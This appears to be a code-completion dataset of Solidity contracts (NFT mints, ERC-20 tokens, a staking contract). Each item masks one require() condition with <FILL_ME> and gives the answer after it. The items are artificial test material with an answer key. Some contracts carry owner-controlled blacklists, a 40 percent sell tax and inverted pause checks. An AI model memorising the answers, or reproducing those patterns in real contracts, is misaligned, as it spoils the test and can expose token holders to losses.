ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
uint256 supply = totalSupply();
require(_amount > 0, "Cant mint 0." );
require(paused, "Contract is paused");
require(presaleM, "WL sale is OFF");
if (_presaleClaimed[msg.sender] < 1) {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(_price * (_amount - 1) <= msg.value, "Not enough ethers sent");
require(1 + totalFreeminted <= whitelistReserved, "Free mints ended");
require(_amount - 1 <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
_presaleClaimed[msg.sender]++;
totalFreeminted++;
} else {
require(msg.sender == account, "Not allowed");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(supply + _amount <= maxSupply, "Max supply exceeded");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
require(<FILL_ME>)
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
}
_safeMint(msg.sender, _amount);
delete supply;
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| _price*_amount<=msg.value,"Not enough ethers sent" | 238,821 | _price*_amount<=msg.value |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract OkayBearsAI is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public root;
uint256 public maxSupply = 10000;
uint256 public _price = 0.0069 ether;
uint256 public whitelistReserved = 2000;
uint256 public maxPerTx = 5;
uint256 public maxPerWallet = 5;
bool public paused = false;
bool public revealed = false;
bool public presaleM = true;
address artist = 0x74e25c7C6B9Ac77Ed1e1aC8fB4bB1f6a3F61eb5d;
string public baseURI;
string public notRevealedUri = "ipfs://QmNanWoRJyLE5pXc2gb8owTy9C8GsZ8RoHeEDCWa6n8SN5/";
mapping(address => uint256) public _presaleClaimed;
uint256 public totalFreeminted;
constructor(bytes32 merkleroot)
ERC721A("Okay Bears AI", "AIBear")
ReentrancyGuard() {
}
function setBaseURI(string memory _tokenBaseURI) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function reveal() public onlyOwner {
}
function setMerkleRoot(bytes32 merkleroot) public onlyOwner {
}
modifier onlyAccounts () {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setWhitelistReserved(uint256 _reserved) public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setMaxSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxPerWallet(uint256 _amount) public onlyOwner{
}
function devMint(uint256 _amount) public payable onlyOwner{
}
function whitelistMint(
address account,
uint8 _amount,
bytes32[] calldata _proof
)
external
payable
isValidMerkleProof(_proof)
onlyAccounts
{
}
function publicSaleMint(uint256 _amount)
external
payable
onlyAccounts
{
uint256 supply = totalSupply();
if (presaleM) {
require(_amount <= maxSupply - whitelistReserved - (supply - totalFreeminted), "Rest supply is reserved");
} else {
require(<FILL_ME>)
}
require(_amount + supply <= maxSupply, "Max supply exceeded");
require(paused, "Contract is paused");
require(_amount > 0, "Zero amount");
require(_price * _amount <= msg.value, "Not enough ethers sent");
require(_amount <= maxPerTx, "You can't mint so much tokens");
require(balanceOf(msg.sender) + _amount <= maxPerWallet, "Max per wallet tokens exceeded");
_safeMint(msg.sender, _amount);
delete supply;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdraw() public payable onlyOwner {
}
}
| _amount+supply<=maxSupply,"Max supply exceeded" | 238,821 | _amount+supply<=maxSupply |
"LP wallet cannot be blacklisted." | /**
Website: a.com
Telegram: b.com
X Twitter: c.com
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
address private _secondOwner; // New second owner variable
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
function secondOwner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract testt is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public allowedTransfer;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
//Anti Dump
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 0 seconds;
modifier antiBot(address account){
}
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 100 * 10**9;
uint256 public maxBuyLimit = 100 * 10**9;
uint256 public maxSellLimit = 100 * 10**9;
uint256 public maxWalletLimit = 100 * 10**9;
uint256 public genesis_block;
address public marketingWallet = 0x643bF371F3C409cbc5f4fc06EF47BaeD85dA6D0A;
address public developmentWallet = 0x643bF371F3C409cbc5f4fc06EF47BaeD85dA6D0A;
address public LPWallet = 0x2f79DC625E9c7aABD9626b7Fd0b32d401aB57280;
address public TeamWallet = 0x643bF371F3C409cbc5f4fc06EF47BaeD85dA6D0A;
string private constant _name = "test";
string private constant _symbol = "TEST";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 development;
uint256 team;
}
Taxes public taxes = Taxes(1, 1, 1, 1, 1);
Taxes public sellTaxes = Taxes(1, 1, 1, 1, 1);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 development;
uint256 team;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rDevelopment;
uint256 rTeam;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tDevelopment;
uint256 tTeam;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
}
constructor () {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) {
}
function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
{
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function setTradingStatus(bool state) external onlyOwner{
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) public onlyOwner() {
}
function includeInReward(address account) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _development, uint256 _team) public onlyOwner {
}
function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _development, uint256 _team) public onlyOwner {
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
}
function _takeDevelopment(uint256 rDevelopment, uint256 tDevelopment) private {
}
function _takeTeam(uint256 rTeam, uint256 tTeam) private {
}
function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {
}
function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rTeam) {
}
function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDevelopment) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
// this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
}
function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
}
function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDevelopmentWallet(address newWallet) external onlyOwner{
}
function updateTeamWallet(address newWallet) external onlyOwner{
}
function updateCooldown(bool state, uint256 time) external onlyOwner{
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
}
function updateIsBlacklisted(address account, bool state) external onlyOwner {
}
function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
require(<FILL_ME>)
_isBlacklisted[accounts[i]] = state;
}
}
function updateAllowedTransfer(address account, bool state) external onlyOwner{
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
}
function updateMaxWalletlimit(uint256 amount) external onlyOwner{
}
//Use this in case ETH are sent to the contract by mistake
function rescueETH(uint256 weiAmount) external onlyOwner{
}
function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
}
receive() external payable{
}
}
| accounts[i]!=LPWallet,"LP wallet cannot be blacklisted." | 238,905 | accounts[i]!=LPWallet |
'This token cannot be staked' | pragma solidity ^0.8.0;
interface IstakingContract {
function balanceOf(address account) external view returns (uint256);
}
contract QatarStaking is ReentrancyGuard {
// Basic Variables
address public owner;
uint public currentPositionId;
uint public currentTokenId;
string[] public tokenSymbols;
uint public amountOfTokenPerEth = 1119490944;
uint public thirtyDaysApy = 1200;
uint public sixtyDaysApy = 1200;
uint public ninetyDaysApy = 1200;
uint public hundredTwentyDaysApy = 1200;
address qatarCoinAddress = 0x68c2fC590A84392759e26d186E3f20E0F5A3C77a;
IstakingContract qatarContract;
// Structs
struct Token {
uint tokenId;
string name;
string symbol;
address tokenAddress;
bool exists;
}
struct Position {
uint positionId;
address walletAddress;
string symbol;
uint tokenQuantity;
uint createdDate;
uint profitsPerWeek;
uint nextWeekUnlockDate;
uint profitsReclaimed;
uint apy;
bool open;
bool exists;
}
// Mappings
mapping(string => Token) public tokens;
mapping(uint => Position) public positions;
mapping(address => uint[]) public positionsIdsByAddress;
//Modifiers
modifier onlyOwner {
}
constructor() payable {
}
// Helper Functions
receive() external payable {
}
function changeAmountOfTokenPerEth(uint newAmount) external onlyOwner {
}
function changeThirtyDaysApy(uint newAmount) external onlyOwner {
}
function changeSixtyDaysApy(uint newAmount) external onlyOwner {
}
function changeNinetyDaysApy(uint newAmount) external onlyOwner {
}
function changeHundredTwentyDaysApy(uint newAmount) external onlyOwner {
}
function calculateNumberDays(uint createdDate) public view returns(uint) {
}
function calculatePerWeekPayment(uint apy, uint tokenQuantity) public pure returns(uint) {
}
function withdrawEth() external onlyOwner {
}
function withdrawQatar() external onlyOwner {
}
// Main Functions
function addToken(
string calldata name,
string calldata symbol,
address tokenAddress
) external onlyOwner {
}
function stakeTokens(string calldata symbol, uint tokenQuantity) external {
require(<FILL_ME>)
IERC20(tokens[symbol].tokenAddress).transferFrom(msg.sender, address(this), tokenQuantity);
uint taxesTaken = (tokenQuantity * 6) / 100;
uint actualTokensThatWentIn = tokenQuantity - taxesTaken;
uint apy = thirtyDaysApy;
uint perWeekPayment = calculatePerWeekPayment(apy, actualTokensThatWentIn);
positions[currentPositionId] = Position(
currentPositionId,
msg.sender,
symbol,
actualTokensThatWentIn,
block.timestamp,
perWeekPayment,
block.timestamp + (7 * 1 days),
0,
apy,
true,
true
);
positionsIdsByAddress[msg.sender].push(currentPositionId);
currentPositionId += 1;
}
function closePosition(uint positionId) external {
}
function receiveWeekProfits(uint positionId) external {
}
}
| tokens[symbol].tokenId>0,'This token cannot be staked' | 238,929 | tokens[symbol].tokenId>0 |
'Not the owner of this position.' | pragma solidity ^0.8.0;
interface IstakingContract {
function balanceOf(address account) external view returns (uint256);
}
contract QatarStaking is ReentrancyGuard {
// Basic Variables
address public owner;
uint public currentPositionId;
uint public currentTokenId;
string[] public tokenSymbols;
uint public amountOfTokenPerEth = 1119490944;
uint public thirtyDaysApy = 1200;
uint public sixtyDaysApy = 1200;
uint public ninetyDaysApy = 1200;
uint public hundredTwentyDaysApy = 1200;
address qatarCoinAddress = 0x68c2fC590A84392759e26d186E3f20E0F5A3C77a;
IstakingContract qatarContract;
// Structs
struct Token {
uint tokenId;
string name;
string symbol;
address tokenAddress;
bool exists;
}
struct Position {
uint positionId;
address walletAddress;
string symbol;
uint tokenQuantity;
uint createdDate;
uint profitsPerWeek;
uint nextWeekUnlockDate;
uint profitsReclaimed;
uint apy;
bool open;
bool exists;
}
// Mappings
mapping(string => Token) public tokens;
mapping(uint => Position) public positions;
mapping(address => uint[]) public positionsIdsByAddress;
//Modifiers
modifier onlyOwner {
}
constructor() payable {
}
// Helper Functions
receive() external payable {
}
function changeAmountOfTokenPerEth(uint newAmount) external onlyOwner {
}
function changeThirtyDaysApy(uint newAmount) external onlyOwner {
}
function changeSixtyDaysApy(uint newAmount) external onlyOwner {
}
function changeNinetyDaysApy(uint newAmount) external onlyOwner {
}
function changeHundredTwentyDaysApy(uint newAmount) external onlyOwner {
}
function calculateNumberDays(uint createdDate) public view returns(uint) {
}
function calculatePerWeekPayment(uint apy, uint tokenQuantity) public pure returns(uint) {
}
function withdrawEth() external onlyOwner {
}
function withdrawQatar() external onlyOwner {
}
// Main Functions
function addToken(
string calldata name,
string calldata symbol,
address tokenAddress
) external onlyOwner {
}
function stakeTokens(string calldata symbol, uint tokenQuantity) external {
}
function closePosition(uint positionId) external {
require(<FILL_ME>)
require(positions[positionId].open == true, 'Position already closed');
IERC20(tokens[positions[positionId].symbol].tokenAddress).transfer(msg.sender, positions[positionId].tokenQuantity);
positions[positionId].open = false;
positions[positionId].tokenQuantity = 0;
positions[positionId].profitsPerWeek = 0;
}
function receiveWeekProfits(uint positionId) external {
}
}
| positions[positionId].walletAddress==msg.sender,'Not the owner of this position.' | 238,929 | positions[positionId].walletAddress==msg.sender |
'Position already closed' | pragma solidity ^0.8.0;
interface IstakingContract {
function balanceOf(address account) external view returns (uint256);
}
contract QatarStaking is ReentrancyGuard {
// Basic Variables
address public owner;
uint public currentPositionId;
uint public currentTokenId;
string[] public tokenSymbols;
uint public amountOfTokenPerEth = 1119490944;
uint public thirtyDaysApy = 1200;
uint public sixtyDaysApy = 1200;
uint public ninetyDaysApy = 1200;
uint public hundredTwentyDaysApy = 1200;
address qatarCoinAddress = 0x68c2fC590A84392759e26d186E3f20E0F5A3C77a;
IstakingContract qatarContract;
// Structs
struct Token {
uint tokenId;
string name;
string symbol;
address tokenAddress;
bool exists;
}
struct Position {
uint positionId;
address walletAddress;
string symbol;
uint tokenQuantity;
uint createdDate;
uint profitsPerWeek;
uint nextWeekUnlockDate;
uint profitsReclaimed;
uint apy;
bool open;
bool exists;
}
// Mappings
mapping(string => Token) public tokens;
mapping(uint => Position) public positions;
mapping(address => uint[]) public positionsIdsByAddress;
//Modifiers
modifier onlyOwner {
}
constructor() payable {
}
// Helper Functions
receive() external payable {
}
function changeAmountOfTokenPerEth(uint newAmount) external onlyOwner {
}
function changeThirtyDaysApy(uint newAmount) external onlyOwner {
}
function changeSixtyDaysApy(uint newAmount) external onlyOwner {
}
function changeNinetyDaysApy(uint newAmount) external onlyOwner {
}
function changeHundredTwentyDaysApy(uint newAmount) external onlyOwner {
}
function calculateNumberDays(uint createdDate) public view returns(uint) {
}
function calculatePerWeekPayment(uint apy, uint tokenQuantity) public pure returns(uint) {
}
function withdrawEth() external onlyOwner {
}
function withdrawQatar() external onlyOwner {
}
// Main Functions
function addToken(
string calldata name,
string calldata symbol,
address tokenAddress
) external onlyOwner {
}
function stakeTokens(string calldata symbol, uint tokenQuantity) external {
}
function closePosition(uint positionId) external {
require(positions[positionId].walletAddress == msg.sender, 'Not the owner of this position.');
require(<FILL_ME>)
IERC20(tokens[positions[positionId].symbol].tokenAddress).transfer(msg.sender, positions[positionId].tokenQuantity);
positions[positionId].open = false;
positions[positionId].tokenQuantity = 0;
positions[positionId].profitsPerWeek = 0;
}
function receiveWeekProfits(uint positionId) external {
}
}
| positions[positionId].open==true,'Position already closed' | 238,929 | positions[positionId].open==true |
"TOKEN: Balance exceeds wallet size!" | /**
FitnessAI
Website: https://fitnessai.io/
Telegram: https://t.me/FitnessAI
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FitnessAI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FitnessAI";
string private constant _symbol = "FITAI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeofRedisOnBuy = 0;
uint256 private _taxOnBuy = 25;
uint256 private _feeofRedisOnSell = 0;
uint256 private _taxOnSell = 40;
//Original Fee
uint256 private _feeofRedis = _feeofRedisOnSell;
uint256 private _tax = _taxOnSell;
uint256 private _previousfeeofRedis = _feeofRedis;
uint256 private _previoustax = _tax;
mapping(address => bool) public bots;
address payable private _developmentAddress = payable(0x950de0555D9900Ccdb75599F4ca3352b47888655);
address payable private _marketingAddress = payable(0x950de0555D9900Ccdb75599F4ca3352b47888655);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _amountMaxforTx = 10000000 * 10**9;
uint256 public _WalletSizeLimit = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 2500000 * 10**9;
event MaxTxAmountUpdated(uint256 _amountMaxforTx);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function AllremoveFee() private {
}
function AllrestoreFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _amountMaxforTx, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _amountMaxforTx)
{
contractTokenBalance = _amountMaxforTx;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_feeofRedis = _feeofRedisOnBuy;
_tax = _taxOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_feeofRedis = _feeofRedisOnSell;
_tax = _taxOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function changeTrading(bool _tradingOpen) public onlyOwner {
}
function swapymanual() external {
}
function sendmanual() external {
}
function banMultiBots(address[] memory bots_) public onlyOwner {
}
function unbanBot(address wallet) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 feeofRedis,
uint256 tax
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function UpdateFee(uint256 feeofRedisOnBuy, uint256 feeofRedisOnSell, uint256 taxOnBuy, uint256 taxOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function changeSwapThreshold(uint256 amount) public onlyOwner {
}
//Set minimum tokens required to swap.
function swapToggleSwitch(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function changeMaxTxnAmt(uint256 amount) public onlyOwner {
}
function changeWalletSizeLimit(uint256 sizeinNum) public onlyOwner {
}
function excludeMultiAddressesFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| balanceOf(to)+amount<_WalletSizeLimit,"TOKEN: Balance exceeds wallet size!" | 238,994 | balanceOf(to)+amount<_WalletSizeLimit |
"Not the owner!" | // SPDX-License-Identifier: Unlicensed
// Developer - ReservedSnow (https://linktr.ee/reservedsnow)
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import 'erc721a/contracts/ERC721A.sol';
pragma solidity >=0.8.17 <0.9.0;
contract Shinobis is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// ================== Variables Start =======================
bytes32 public merkleRoot;
string internal uri;
string public uriExtenstion = ".json";
string public hiddenMetadataUri = "ipfs://CID/filename.json";
uint256 public price = 0.029 ether;
uint256 public wlprice = 0.019 ether;
uint256 public supplyLimit = 1111;
uint256 public wlsupplyLimit = 555;
uint256 public maxMintAmountPerTx = 2;
uint256 public wlmaxMintAmountPerTx = 1;
uint256 public maxLimitPerWallet = 2;
uint256 public wlmaxLimitPerWallet = 1;
bool public whitelistSale = false;
bool public publicSale = false;
bool public revealed = false;
bool public burnToggle = false;
mapping(address => uint256) public wlMintCount;
mapping(address => uint256) public publicMintCount;
mapping(uint256 => address) public tokenIDBurnedByAddress;
mapping(address => uint256) public amountOfTokensBurnedByAddress;
uint256 public publicMinted;
uint256 public wlMinted;
uint256 public tokensBurned;
// ================== Variables End =======================
// ================== Constructor Start =======================
constructor(
string memory _uri
) ERC721A("Shinobis", "SNB") {
}
// ================== Constructor End =======================
// ================== Mint Functions Start =======================
function WLmint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
}
function PublicMint(uint256 _mintAmount) public payable {
}
function OwnerMint(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function MassAirdrop(address[] calldata receivers) public onlyOwner {
}
// ================== Mint Functions End =======================
// ================== Burn Functions Start =======================
function Burn(uint256 _tokenID) public{
require(burnToggle, "Burn phase not started yet");
require(<FILL_ME>)
_burn(_tokenID);
tokenIDBurnedByAddress[_tokenID] = _msgSender();
amountOfTokensBurnedByAddress[_msgSender()] += 1;
tokensBurned +=1;
}
// ================== Burn Functions End =======================
// ================== Set Functions Start =======================
// reveal
function setRevealed(bool _state) public onlyOwner {
}
// uri
function seturi(string memory _uri) public onlyOwner {
}
function seturiExtenstion(string memory _uriExtenstion) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
// sales toggle
function setpublicSale(bool _publicSale) public onlyOwner {
}
